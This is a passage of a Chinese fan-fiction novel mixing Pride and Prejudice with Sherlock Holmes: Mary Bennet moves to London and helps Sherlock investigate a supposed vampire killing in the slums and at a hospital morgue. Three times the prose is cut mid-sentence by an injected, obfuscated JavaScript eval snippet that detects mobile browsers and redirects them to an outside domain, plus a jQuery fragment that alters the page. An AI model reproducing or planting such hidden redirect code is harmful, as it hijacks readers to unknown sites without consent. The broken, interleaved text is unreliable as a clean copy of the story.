玛丽吃了点东西终于压住了胃里的灼烧感,起身去取了一点餐酒。 达西走到玛丽的身边:“玛丽小姐。” 玛丽:“嗯哼?达西先生有什么事么。” 达西:“您没有什么话想说么?” 玛丽有些莫名:“说什么?” 达西看了看莉迪亚和凯蒂的方向:“您的两位妹妹……” 玛丽看向莉迪亚和凯蒂,她们玩的正开心呢,转而又看向达西:“怎么了?” 达西完全没想过这种可能性,玛丽似乎并不觉得两位尚且年幼的姑娘几乎称得上放荡的行为有什么问题。 一怒之下就这么转身离开了。 玛丽更觉得莫名其妙了。 他怎么了?好端端的生气什么? 莉迪亚和凯蒂不是一直都这样么,傻乎乎的,没什么头脑,喜欢红制服,喜欢长得漂亮的人,这是她们一直以来从没变过的喜好呀? 只是跳跳舞,开开玩笑,有什么问题? 达西很快离开了舞厅,回到自己的房间,在屋内来回踱步。 他甚至有些生自己的气,一边气自己被玛丽吸引,一边又气自己竟然喜欢上一个拥有这样家庭的女孩子。 晚上回到家里,大家都很开心。 这种愉快的心情持续到第二天上午,柯林斯表哥和伊丽莎白求婚之前。 上帝啊,难怪班纳特太太竟然愿意对柯林斯笑脸相迎。 伊丽莎白气坏了,班纳特太太也气坏了。 午餐的时候柯林斯表哥宣布自己晚上就会走,他没办法承受如此羞辱,甚至午餐都不愿意和大家一起进餐了,他不愿意面对伊丽莎白。 班纳特太太整场午餐都在愤怒的看着伊丽莎白,一直在抱怨伊丽莎白不愿意接受这天定良缘,如果有一天她被一个陌生女人赶出朗伯恩,这一切都怪伊丽莎白。 玛丽放下手里的餐叉:“我想要宣布一件事情。” 班纳特先生用手帕擦了擦嘴,等待玛丽丢下重磅炸弹。 玛丽:“我即将前往伦敦。” 班纳特太太毫不在意:“去爱德华家里玩么,去就去吧,这有什么要宣布的。” 莉迪亚倒是叫了起来:“我也要去伦敦,我也要去舅舅家里玩。” 玛丽:“哦,恐怕不是,我将会前往伦敦求学。” 这个借口是班纳特先生和玛丽共同商量得来的,可以避免一些流言是非。 现在这个消息可以称得上重磅炸弹了。 21. 第 21 章 除了伊丽莎白之外的几个姐妹都被吓了一跳,班纳特太太倒是其中最镇定的:“哦,玛丽我一直知道你是个小书呆子,这有什么奇怪的。” 伦敦的女子学校也不是没有,只不过都是一些淑女学校,教授刺绣礼仪之类。 玛丽没有多余的解释。 倒是莉迪亚可凯蒂在询问玛丽:“那你是不是可以住在伦敦?真好,我也想去伦敦上学,哦,爸爸,我不能去么。” 玛丽:“莉迪亚你不行,你是个小笨蛋。” 莉迪亚气的瞪了眼玛丽,转而哀求妈妈:“妈妈,我也想去,我想去伦敦。” 玛丽擦擦嘴:“下周一出发,一切都已经决定好了。” 简和伊丽莎白结束午餐之后也上楼了,伊丽莎白没有逗留很久,因为她的朋友夏洛特来找他玩,顺带表达了卢卡斯爵士对柯林斯先生的邀请。 因为卢卡斯爵士的邀请,柯林斯将归程暂缓一天。 莉迪亚和凯蒂在玛丽的房门口叽叽喳喳的,莉迪亚毫不客气的要求玛丽每个月都要写信告诉她伦敦最流行的是什么,如果可以,最好帮她在伦敦买一些漂亮的蕾丝花边装饰,如果有一些时新的绒花装饰或者漂亮的帽子就最好了。 班纳特太太还在卧室躺着休息,她一想到伊丽莎白拒绝了柯林斯,将来朗伯恩将会成为一个不知名女人的财产她就难受。 下午莉迪亚和凯蒂出去玩,结果傍晚回来的时候带回来一个惊天大消息。 柯林斯竟然和夏洛特·卢卡斯求婚了,而且对方答应了。 伊丽莎白差点气疯了,说实话,玛丽从没见过伊丽莎白生气成这样。 “夏洛特怎么会这样,她难道看不出来,那简直就是全英国最愚蠢的男人么!” 伊丽莎白在休息室里来回走动,哪怕已经是柯林斯表哥离开的第二天,也还在喋喋不休的抱怨这桩她绝不认可的婚姻。 玛丽都被拽到休息室听伊丽莎白愤怒的指责。 伊丽莎白:“难道就没有办法让夏洛特清醒一点,放弃这个愚蠢的男人么。” 简还在安慰伊丽莎白:“莉齐,你要知道,人和人是不一样的,从某种程度上来说,柯林斯表哥实际上是个不错的结婚人选,他是一份体面的职业,收入也不错,拥有的财产足以养活妻子儿女,这对别人来说已经是个很不错的结婚对象了。” 伊丽莎白:“可是……可是这样的没有爱情的婚姻还是婚姻么。” 玛丽正靠在简的身上:“根据法律而言,只要是在教堂的婚姻登记簿上签下姓名做了登记的,就是婚姻。” 伊丽莎白难得的瞪了一眼玛丽:“好了,你连莎士比亚都读不明白,你根本不懂爱情和婚姻。” 玛丽有点无辜:“读不懂莎士比亚又不是我的错,天知道他哪里来的那么多对爱情的感慨?爱情?我从来不相信那东西,真是奇怪,到底在爱些什么?” 伊丽莎白还要说什么,女仆敲门进来了:“是内瑟菲尔德送来的信。” 简接过信件打开查看,伊丽莎白感叹了一句:“至少简你不用在面包与爱情之间抉择。” 本以为会得到简害羞的笑容,可是伊丽莎白只看到简越来越惨白的面孔:“怎了么简?” 简的声音都带着一丝哽咽:“宾利小姐信上说,此刻她们所有人应该已经离开内瑟菲尔德前往伦敦了,而且不准备再回来。” 信里还说达西先生会去伦敦与她的妹妹会面,他们已经迫不及待要与这位淑女会和,她憧憬着达西小姐可以和宾利先生喜结连理。 玛丽难得的说了一句脏话:“放屁” 伊丽莎白对此的震惊程度和听到信件内容不相上下:“玛丽!注意你的言辞!” 玛丽坐直了身体,原本她还斜靠在简的身边:“是个人都看得出来,宾利先生喜欢你,甚至可以说爱你,简。” 伊丽莎白:“哦,现在玛丽小姐又看得出来爱情了?”说完这句话伊丽莎白有些懊悔自己不合时宜的小小讽刺,玛丽是在安慰简,她不该这么说的。 玛丽:“宾利先生看着简的眼睛里有光,我说不上来,但是他笑起来的时候看上去很开心,这或许就是爱情吧。反正我觉得这位宾利小姐在说谎,你不能相信她。” 简很难过:“我想不出卡洛琳故意骗我的理由,她是个和善又亲切的淑女。” 玛丽和伊丽莎白对视一眼:玛丽忍不住说道:“大概只有你会觉得这个虚伪又做作的宾利小姐是个好人,简,你太善良了,你从来都是把人往好处想。” 伊丽莎白也道:“是的简,所有人都看得出来,宾利先生爱你,你要相信我,不出两周他就会回到你的身边,并且来家里就餐的。” 玛丽摆摆手:“恐怕我是看不到这一幕了,毕竟到时候我已经去往伦敦了。” 简还是有些难过:“可是如果他没来呢?” 玛丽:“那你就去伦敦,简,从朗伯恩去伦敦而已,又不是去美洲,天知道每次看到那些小说里男女主角始终不愿意面对面的沟通,解释误会,我有多么着急,如果他不回来,你就去伦敦,不论结果如何,至少你是得到了他本人回答的不是吗。” 两姐妹好一番安慰,简才稍稍平复了情绪。 —————————— 很快就到了玛丽出发的日子,莉迪亚和凯蒂在门口一次又一次的嘱托玛丽,一定要写信,一定要帮她们看看伦敦的流行是什么,最好多说一些伦敦的新鲜事。 伊丽莎白是家里除了班纳特先生之外唯一知道真相的人,她只是握着玛丽的手:“玛丽,你会得偿所愿的,我真诚的,大从心底里祝福你,祝你得偿所愿。” 玛丽升起一丝舍不得的情绪,但是很快就被未来生活的期待冲散了:“谢谢你,莉齐,我会想念你们的。” 简抱了抱玛丽:“有任何事都要给我们写信,我们也会给你写信的玛丽。” 玛丽看了看站在门口的班纳特先生和默默擦泪的班纳特太太,上前拥抱了两人:“祝你们身体健康,爸爸妈妈。” 看着玛丽,班纳特太太难得的没说什么,只是用力的抱了抱她。 看着马车越来越远,班纳特先生默默叹了口气,他既希望玛丽可以受到挫折放弃理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749140|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,回到他们的身边,又希望玛丽可以得偿所愿,过上自己喜爱的生活。 车夫和仆人一路陪同将她送到伦敦,马车行驶在伦敦的街头,马蹄铁哒哒哒哒哒的响着,似乎在为了玛丽未来的生活演奏激昂的鼓点。 在到达贝克街之后玛丽上前敲了敲门。 开门的是一位和善的妇人:“您就是玛丽·班纳特小姐吧?” 玛丽点点头:“是的,夫人您好。” “你可以叫我郝德森太太,进来吧孩子。这一路可辛苦坏了吧。” 仆人帮忙运送行李箱上楼,郝德森太太的公寓一共有三楼,班纳特先生租下了三楼一整层的屋子。 把行李箱都送上来之后仆人们就告退了。 郝德森太太在送上来一份茶点和午餐之后也离开了三楼。 玛丽站在三楼的客厅里看着几间屋子,真好,真好啊,哪怕这个屋子并没有朗伯恩的庄园装修那么舒适,但是玛丽依然觉得这屋子好极了。 三层的面积还算不错一共有三个房间,一间作为卧室放了一张床,一间盥洗室,一间放了书桌和书柜的屋子,还有一个会客厅。 先把几个行李箱拖到卧室,将衣物之类的东西归置好,又将手里小心保护了一路的箱子放到会客厅一边的桌上。 这些都是她攒钱一点点买的实验用具,虽然不如上次在夏洛克哪里看到的好,但是对她来说也都足够用了。 今天先好好收拾,明天可以去夏洛克那里拜访一下。 玛丽开始学习班纳特先生的那一套拜访模式。 从其中一个箱子里找出纸笔,玛丽写了一封似模似样的拜帖。 她在伦敦没有仆人,要找谁送去呢? 玛丽下楼找到了在餐厅忙活的郝德森太太:“太太,请问我该去哪里找人帮我去送拜帖呢?” 郝德森太太擦了擦手里的水渍:“门口应该有小报童,可以请他们帮忙送信,如果距离近的话,半个便士就行。你要送到那里去?” 玛丽:“蒙塔古街,明天我想去拜访一位朋友。” 郝德森太太带着玛丽去门口:“威利!好孩子,快来。” 一个穿着还算干净的孩子跑了过来,身上斜挎着一个背包,包里装着一些报纸:“夫人小姐,有什么需要跑腿的么。” 玛丽将拜帖递给他:“请帮我将这封拜帖送到蒙塔古街26号,夏洛克·福尔摩斯先生的手上。如果他不在,烦请你稍微等一等,他们的公寓管理员可能……不太好说话,说不定不会帮忙留存拜帖。” 说完玛丽递给小孩子一便士,这是她预先换好的零钱。 孩子拿着零钱开心极了,1便士可以买一块面包了,而且这是他跑腿赚来的,是额外的收入。 玛丽看着孩子跑远之后感谢了郝德森太太的指导。 郝德森:“好孩子,有什么事都可以来问我,就当是在自己家一样。” 玛丽重新回到楼上收拾行李。 没过一个小时,郝德森太太上楼送了一封回信。 夏洛克表示明日有空,会在家等待玛丽前来拜访。 22. 第 22 章 次日一大早夏洛克就起床了,因为知道玛丽今天要来,夏洛克甚至难得的收拾了一下客厅乱糟糟的报纸和实验记录。 在听到敲门声响起起,夏洛克起身开了门:“好久不见……怎么是你?” 麦考福特拍了拍自己幼弟的肩膀:“真是热情啊夏洛克。” 夏洛克:“你怎么又不打招呼就过来。” 麦考福特:“受一位伤心的母亲所托,前来看看她久不回信的小儿子是否还健在。” 夏洛克这才想起来,从一堆藏在椅子背后的实验报告里翻找出自己的回信:“哦,好吧,我忘记给妈妈回信了。” 麦考福特坐在沙发上:“看起来今日有人前来拜访。” 夏洛克正要说话,门口传来敲门声,玛丽站在门口看到福尔摩斯兄弟二人:“我看到门没关,打扰了。” 麦考福特看了眼玛丽:“啊,是玛丽·班纳特小姐。” 玛丽没想到会在这里碰到麦考福特·福尔摩斯:“真没想到会在这里碰见你,福尔摩斯先生。” 麦考福特笑了笑:“看来您与舍弟有约,那我就不再打扰了。” 夏洛克:“既然要走,顺便帮我把信寄出去吧。” 麦考福特无奈接过夏洛克手里给妈妈的回信,冲着玛丽点点头转身离开。 玛丽站在门口的另一边,麦考福特从她身边经过的时候不知为何,玛丽觉得背后的脊椎都紧张的僵硬了一些,很难形容,有一种动物遇到天敌的直觉。 夏洛克没有关上门,只是将门稍微合上一些:“昨天你的来信说你会暂住伦敦?” 玛丽骄傲的仰起头:“是的,没错,我说服了我的爸爸,他允许我来伦敦暂住一年,我打算等收拾好之后去一些实验室里求职看看,哪怕不招实验员,我可以从整理档案的秘书做起,他们会看到我的才华的。” 夏洛克摇摇头:“恐怕不行,据我所知,一般学校医院的实验室和一些私人赞助的实验室都是从大学里招人,哪怕是秘书。” 玛丽:“我会努力争取的,总会有办法的夏洛克,天底下不能一条路都走不通,哪怕真的没有任何地方工作,我也有最后一条退路。” 夏洛克好奇的询问:“我想你的退路总不会是回到家乡,你不是这么容易认输的女孩,玛丽” 玛丽笑的很开心:“ 当然,这次来伦敦我就打定主意,一定要做出一番自己的事业!我想过了,如果找不到工作,那我就给自己一份工作,自己做自己的主,我可以去当私家侦探!你知道的,我有一些这方面的能力。” 夏洛克很欣赏玛丽这种勇敢无畏,对此大大赞扬了一番,夸完以后接着问道:“最近你有什么新乐趣么?” 玛丽在夏洛克这位朋友面前面前毫无顾忌,摊开手耸了耸肩膀:“恐怕没有,回到家里之后除了一些家长里短的热闹,就是参加了两场舞会,都是一些无聊至极的人和事。” 夏洛克颇为兴奋:“那你有兴趣来看看我这边新接手的案件么?” 玛丽倒是有一些兴趣:“说来听听?” 夏洛克:“你可以先从这几份报纸看看。” 从椅子后面翻找出几份报纸,夏洛克一股脑的塞给了玛丽。 玛丽接过报纸打开查看。 “吸血鬼恶魔在伦敦游荡” “中世纪恶魔降临!” 都是一些耸人听闻的标题。 翻开报纸查看里面的内容相比于实事求是的新闻,更像是什么恐怖小说的连载。 最开始的时候是一周前,贫民窟发生了一起死亡案件,不论是帮派问题,还是因为疾病,在各种原因之下,贫民窟发生死亡事件并不奇怪,没有人会报案的,毕竟每天都会发生的事,有什么好报案的呢。 可是这次的事情不一样,死者是一个健壮的青年工人。 他是在两周前失踪的,当时结束一天工作后,他带着辛苦了一天的劳动所得准备回到家里好好休息一番,记者特意在这里引用了最后见到他的工友的话:“乔治是个好丈夫,他每天下了工都会尽快赶回家的,很少参与我们的聚会。” 可是她的妻子左等右等,等了许久都没有等到丈夫回来。 然后上一周,也就是这位青年失踪了七天之后,忽然出现在了家里。 他脸色惨白,神情恐慌,眼眶黑的仿佛是生了什么重病。 回到家里之后他把家里几乎所有能吃的东西都吃了。 晚上他的妻子忙碌了一天的洗衣工作,回到家里,打开门看到的,是丈夫亲手将刀捅进了自己的胸口,妻子惊恐的尖叫着,想要捂住伤口,请求上帝,请求周围的人能不能救救她的丈夫。 那个工人却推开了妻子,自己拔出刀,血液从他的胸口喷涌而出,他张着的嘴不断咯血,猩红的双眼和漆黑的眼眶死死地盯着妻子。 听到尖叫声赶来的大家都看到他疯了一般的行为,他死之前说的最后一句话:“吸血鬼!他来吃我了!” 那位妻子当场就吓疯了,直接跑了出去,记者在这里也特意备注,妻子失踪之后暂时还没找到,如有知情人可联系报社。 这件恐怖又猎奇的事件被报道后搞得伦敦人心惶惶,苏格兰场不得不加派警员去调查。 现在社会上说什么的都有,都是各种谣言。 玛丽翻看了几篇报道,几乎都是千篇一律,完全可以当做哥特小说来看。 福尔摩斯:“怎么样,有兴趣一起来调查看看么?” 说实话,玛丽对此还是颇感兴趣的。 不过…… “很抱歉,夏洛克,我恐怕得先为自己找一份稳定的合适的工作。” 夏洛克有点失望,不过又很快振作起来:“不如这样,玛丽,我暂时雇佣你做我的助手,这次案件的酬金我分你一半如何?” 玛丽故作高深,一副奸商要算计的模样,摸了摸下巴:“有多少酬金?” 夏洛克起身走到客厅的书桌边,从抽屉里摸出一些零零散散的钱,然后一股脑的都塞到玛丽的手里:“这些钱,你先拿着。” 玛丽将这些钱一张一张的叠好,每一张纸币上都沾满了汗渍,还有一些沾着油渍,全部加起来一共45先令左右。 夏洛克:“我昨天才收到的消息,原本打算今天去那个死者的家里看一看。怎么样,要和我一起去么?” 玛丽站起身:“那还等什么呢!” 夏洛克从门边的衣架上拿下帽子:“走吧。” 带着玛丽坐上公共马车两人一路颠簸的来到贫民窟外围,要再走两个街区才能正是进入贫民窟的范围,这一带都没有公共马车的线路,只能靠两条腿走。 两人一前一后的走着,玛丽紧紧的跟在夏洛克身后。 夏洛克在前面带路,玛丽对伦敦的贫民窟并不怎么了解,只是大概知道这里人员组成复杂,大多数都是按照族群聚集在一片,但是内部具体如何,玛丽就不得而知了,她并没有机会来这里看过。 从地面的泥泞和肮脏以及越来越混乱的口音就看得出来也听得出来,两人已经进入贫民窟的范围。 玛丽用略带好奇的眼神四处打量,和她一直以为的那种死气沉沉不同,其实整个贫民窟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749141|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很热闹的,路边堆着的各种麻袋,头顶从窗口拉到对面窗口的麻绳上晾晒这各种衣物,男士的袜子,女士的贴身衬裙。 在狭窄的道路上,甚至还能经常遇到摆个小摊卖饮食和啤酒的。只不过是那种非常便宜几乎和水没什么差别的那种,玛丽看到啤酒桶,黑漆漆的油渍和污渍混在一起,老板刚还用手指抓过脖子,转而就伸手拿起桶里的杯子,直接舀上一杯啤酒,给别人喝的啤酒也是用同一个杯子,玛丽甚至看到他半个手掌都伸进那个啤酒水里。 但是只需要2便士就有一大杯啤酒! 虽然玛丽不觉得这个杯子里的东西真的可以称为啤酒,但是至少杯子还是很大的。 贫民窟的一切都是玛丽没见过,也没了解过的,从小到大,没有看过任何介绍伦敦的贫民窟的书籍,她也没有机会来到这里看一看。 对贫民窟的一切都来自于想象,玛丽对周遭的一切都充满好奇,一双眼睛四处张望,生怕错过什么。 忽然一阵嬉闹传来,玛丽和夏洛克走过一片建筑,那里聚集了很多的女孩。 大多数和玛丽差不多大小,也有一部分中年妇女,她们所有人穿着都很是暴露,玛丽好奇的看着她们。 其中一个女孩长得很漂亮,玛丽一直觉得简是她见过最漂亮的女孩,但是在这个女孩的面前,说一句可能有点冒犯的话,简的美貌可能都稍显逊色。 那女孩可谓是青春貌美,一身蓝色的裙子,金发碧眼,简直就像是弗朗索瓦①画中的女郎,面颊红润,嘴唇水润润的,像是清晨的玫瑰,娇嫩欲滴,唯一不同于油画的是她的领口几乎开到了胸口的一半,饱满的快要挤出来了。 玛丽看的目瞪口呆。 夏洛克偏过头,甚至伸手挡住了玛丽:“不要看。” 玛丽看了眼夏洛克:“她们是?” 夏洛克点点头。 这里应当是一家女支院。 玛丽发现那个女孩似乎也看到了她,和玛丽好奇的目光不同的是,那个女孩的眼神充满了嘲笑。 在无声的对视中那个女孩挑衅的冲玛丽说了个单词。 玛丽头一次被人用如此侮辱的词汇辱骂,但是她并不生气,只是好奇和不解。为什么那个女孩要生气的骂她呢? 夏洛克快步带着玛丽走过这一片,一直到两人走过这片建筑群夏洛克才算松了口气。 玛丽还在好奇的回头张望:“她们还那么年轻,就……” 夏洛克只是叹了口气:“玛丽,生活对很多人而言,是很困难的。” 玛丽不再追问,只是默默的跟着夏洛克从一条巷子穿过另一条巷子。 终于两人走到了目的地,这一片建筑相比于外围更显拥挤和肮脏,甚至房屋的外墙墙壁上都是秽物,玛丽不得不捂住口鼻,但是那些味道依然从各处飘来。 夏洛克上前敲了敲房门,如果那些破木板也能称为房门的话。 等了一会,听到门口传来的一轻一重的脚步声。 玛丽猜测可能是一个腿脚不便的人,其中有一下声音很沉闷而且快速,听上去像拐杖。 果然,开门后是一位腿脚不便的先生,拄着一根木头:“找谁!” 这个壮汉一开口就是很凶恶的质问。 夏洛克摘下帽子:“您好,鄙人夏洛克,是受了委托前来,请问是卡特先生么。” 这个壮汉看向玛丽,玛丽昂起头让他打量。 卡特粗声粗气的让开了位置:“这里没什么先生不先生的,叫我卡特就行,进来吧。” 玛丽和夏洛克跟在后面进入了屋子。 23. 第 23 章 虽然屋子外面残破极了,但是里面却打扫的还算认真,至少大部分的东西都在该在的位置,而且收拾的比较干净。 一进去是一排类似壁橱一般顶格的柜子,左边的柜子没有柜门,里面放着一些杂七杂八的杂物,什么棍子,煤块,都混在一处,一眼就可以望到走廊尽头的楼梯 顺着走廊走了两步,右手边是一间餐厅,非常小,角落里是煤炉子,炉子上面架着一个平底锅,把手已经丢失,只剩下锅体的部分。 除此之外就只有一个桌子一个板凳,如果那个用几块木头搭起来的东西也能叫桌子板凳的话。 基于三人中有一个身体不便的人,夏洛克和玛丽找了个稍微空旷的位置站着,毕竟这个所谓的餐厅十分狭窄,卡特也没客气,径直坐了下来。 卡特:“你也看出来了,我是个瘸子,所以只能请雷斯垂特帮忙把钱给你,听他说你有办法查清楚这事情。” 玛丽站在夏洛克稍稍后面,卡特坐在靠窗的位置,光线从他的背后照进屋子,卡特是一个很粗壮的男人,皮肤粗糙,一头红色杂乱的头发,大鼻子,鼻翼连着脸颊有一片浅褐色的雀斑,眼眶很深邃,眼睛似乎是蓝色。 眉毛浓密,一副英气蓬勃,看上去就是可靠老大哥的模样,有着一双蒲扇一般的手,随手将棍子搭在桌子边,然后开始捶打残缺的那条腿。 卡特:“伦敦这该死的天气,我的腿又疼了,估计明天会有场大暴雨。” 玛丽听出他有着浓重的爱尔兰口音。 夏洛克:“您和死者是什么关系?” 卡特停止了自己对伦敦的抱怨,沉默了一会说到:“我们都是爱尔兰人,乔治几个月前和妻子来伦敦讨生活,您也知道……前些年那些事①……总之老家的日子不好过,他就来了伦敦,我们这里有很多的爱尔兰人,在这里生活不容易,平日里大家有什么事基本上都会互相拉一把,我没出事之前在制碱厂工作,认识一些人,就把乔治介绍进去找点活,就这些关系。” 夏洛克:“那乔治在这里有什么熟人,朋友,在失踪之前有没有什么症状,或者遇到过什么怪事?他的妻子找到了么?” 卡特摇摇头:“乔治很少和我们一起出去喝酒女嫖……还有玩。” 玛丽低头装作没听出来卡特先生没说出口的那些话。 卡特:“他刚来伦敦的时候和凯瑟琳……哦就是他妻子租了我们附近的屋子,这一片基本都是我们爱尔兰人,平时住的近些,也好相互照应,就斜对面那边,就是他们家,凯瑟琳跑出去之后就不见了,没人知道去哪里了,我们出去找了很久,也没找到,老天保佑她还活着吧。哦,我继续说,乔治在这儿没什么特别熟悉的朋友,如果非要说,那就是我和隔壁的威廉,我们三都在一个厂里工作,平日里基本都一起。失踪之前的那天是他和威廉一起下工的,下工以后威廉来酒馆找我喝酒,我的腿出事之后就一直没找到活,多亏了老威廉救济在酒馆里刷刷盘子挣点吃饭钱,乔治是自己回家的,具体的情况你可以等晚上威廉下工了问问他。” 夏洛克点点头:“威廉几点下工,我们要去哪里找他?现在方便去现场看一看么?” 卡特没所谓的挥了挥手:“晚上七点,下了工之后你们可以来老威廉酒馆,他现在晚上都会和我一起回来,出了这事之后大家都很害怕,不太敢落单走。至于乔治家,自己去吧,就那边的屋子。” 从窗口指了位置,确实不远,走个十几米就能到。 相比于卡特的屋子,那栋房屋更加残破,房顶的烟囱倒了一半,另一半仿佛还在犹豫,但是看上去距离倾倒的结果也不远了,房门就这么敞开着,窗户只剩下个木框,横亘在窗口的木头带着腐朽的痕迹。 自从发生这事之后这栋屋子除了警察就没人再进去了。 夏洛克和玛丽走进屋子之后发现里面还保留着一滩血迹。 玛丽很奇怪,但是说不上来,站在门口看了一会忽然看向夏洛克:“你有没有觉得……出血量不对?” 地上的血迹看上去是一滩,但是实际上并不多,面积大体上只有成年男性的两个手掌多一点,考虑到警察并不会把地面的血迹擦干,那么这片血迹可能就是死者死亡的时候所流出来的大小。 玛丽左右比划了一下:“这种出血量……是不是不太对?” 夏洛克也比划了一下,确实面积不大:“没有其他的血迹么?” 玛丽在周围看了看:“有一些零散的,看上去像是刀拔出来之后甩到墙上和地上的,哦这里,应该是刀的血迹。” 指着旁边地上一块痕迹玛丽说到。 夏洛克比划了一下:“剪刀,不是很大,之后我们可以找雷斯垂德看看。” 除了血迹之外这个所谓的客厅可以说空旷一片没有更多的线索。 夏洛克算着时间还早:“先去巴茨医院,那个乔治的尸体还在医院停尸间里。” 现场没有更多的线索,毕竟如果当时的情况确实如报纸所说,恐怕凶手并不是在现场“杀死”了乔治的。 两人决定先去看看死者的情况。 有时候死者能提供的信息比活人更多。 两人又穿过贫民窟坐马车前往巴茨医院,现在的苏格兰场并没有专门用于摆放受害者尸体的地方,只能把一些受害者放在医院的停尸间,夏洛克对巴茨医院很熟悉,他有一个朋友在这里做医生,平时自己需要做实验也都是来巴茨医院的实验室。 穿过一栋又一栋的建筑,夏洛克找到了自己的老朋友:“嗨,斯坦福,好久不见。” 斯坦福正在实验室里,听到声音才抬起头:“嘿,夏洛克,好久不见,最近过得怎么样。稍等一下,我把这边处理完就过来。” 夏洛克没有进去,和玛丽两人在门口等待着。 这位斯坦福先生动作很快,不到二十分钟就忙完了。 走出实验室的斯坦福先生一边脱下实验服一边和夏洛克握手:“真是许久不见了,你之前提起的研究怎么样了?” 夏洛克:“差不多了,排除了一些溶剂和催化反应剂,进度还算不错。” 斯坦福看到了一边的玛丽:“这位是?” 夏洛克:“请让我为你介绍,我的好友,玛丽·班纳特小姐,少有的聪明人,现在受我邀请协助调查那起案件。” 斯坦福吓了一跳:“真是难得,竟然能听到你夸别人是少有的聪明人,班纳特小姐您好,在下斯坦福·威尔逊,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749142|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我斯坦福就好。” 玛丽和这位威尔逊先生握手问好。 夏洛克介绍道:“斯坦福是这次协助验尸的医生,发生案件之后他这里有很多一手信息。” 斯坦福:“今天来是做什么?看看尸体的?” 既然夏洛克能带这位小姐一起参与案件调查,斯坦福也没有什么避讳的聊了起来。 玛丽:“是的,死者当时是什么情况?” 斯坦福回想了一下:“乔治·德维克,哦,就是那位死者的名字,他是死于利器贯穿肺部,是典型的机械性损伤导致的呼吸功能衰竭死亡,送来医院的时候我们做了检查,致死的伤口来自于肺部受损引发的窒息,但是很奇怪的事我们在他的胳膊上发现了很多的针孔还有淤青,相当大程度的皮下出血,而且最奇怪的是他身体里的血液……用直白的话来说就是太少了。” 一边说着话斯坦福一边带他们往不远处的一栋建筑走去。 到了门口之后斯坦福和看门的老人打了个招呼,看门人才给他们开了门,三人进入建筑后明显感觉到里面要比外面阴冷几分。 玛丽下意识的打了个哆嗦,这栋建筑地面只有一层,穿过走廊和楼梯,又往下走了两层,温度越来越低,下了两层楼的高度之后转而又进入一个走廊。 斯坦福一边带路一边介绍:“我们解剖之后发现死者生前应该是有过一定程度的失血,他的心脏、大血管内血液量有明显减少,血管壁也有塌陷,这和死后失血造成的状态是不一样的,他应该在失踪的这段时间被频繁且大量的抽过血。” 这是一个很关键的信息。 玛丽:“这倒是和所谓的吸血鬼传闻不谋而合了。” 斯坦福回过头:“说实话,有几位先生和我讨论过,我们认为他应该在失踪的七天里每天都被抽取了200ml左右的血液,这个数字是我们讨论后一致认为比较符合尸体情况的,如果抽的血液大于这个数值,德维克可能会失血休克,是决计撑不到回家的,如果少于这个数值,他的身体不会呈现出这么明显状况的失血,说不定真的是什么吸血鬼呢?” 夏洛克笑了起来:“我可不相信那些东西。” 说话间几人来到走廊尽头的停尸间,打开门之后一种诡异又复杂的气味扑面而来,先是臭味,但不是单纯的臭,而是一种明显的肉质腐烂的恶臭,之后是福尔马林的味道,这两种气味相互混杂,冲击的人头晕目眩。 玛丽没有防备的呼吸了一大口,提神醒脑和头晕目眩这两种截然不同的感受同时冲击着玛丽的大脑,捂着口鼻换了一会玛丽才回过神。 整个屋子不大,除了开门的这面墙之外,另外靠着墙的三面都摆放着一些铁皮柜子,看着就知道一格格的柜子里都是尸体。 斯坦福似乎完全没感觉到那诡异的气味,在其中一面墙面前站住开始寻找:“啊,在这里。” 将手搭在尸体存放格开门的拉栓上斯坦福忽然回头:“玛丽小姐如果介意的话,要不要先在外面等一会?” 玛丽努力装出若无其事的样子:“不用先生,我认为我可以撑得住。” 斯坦福出于对夏洛克的信任拉开了格子,一个惨白的尸体就这么出现在了几人的面前。 24. 第 24 章 玛丽还是高估了自己,赤裸上身的乔治德维克身上有一股诡异的恶臭,虽然经过一定程度的保存,尸体没有腐烂,但是气味绝对要比所谓贫民窟的秽物气味更加恐怖,而一个惨白的尸体也绝对不会那么美观。 苍白的脸上一只眼睛合拢,另一只眼睛微微睁开,半露不露的眼球有一种浑浊的灰绿色,头发左一块右一块的斑秃十分明显,左手的小臂上有非常明显的一大片紫黑色淤青一样的颜色, 腹部微微鼓胀,有淡淡的绿色。 斯坦福看了眼夏洛克:“要不要搬出来检查一下?” 玛丽不知道为什么,胃里泛起一股酸水,那种恶心的感觉忽然涌了上来。 纯粹的生理性痛苦是无法用理智压抑的,玛丽捂着嘴转身,斯坦福先生眼疾手快,一下子将旁边的垃圾桶踢了过来。 这样的反应他看多了,每年新入学的孩子都这样,参与解剖课之前都信誓旦旦,觉得自己能行。 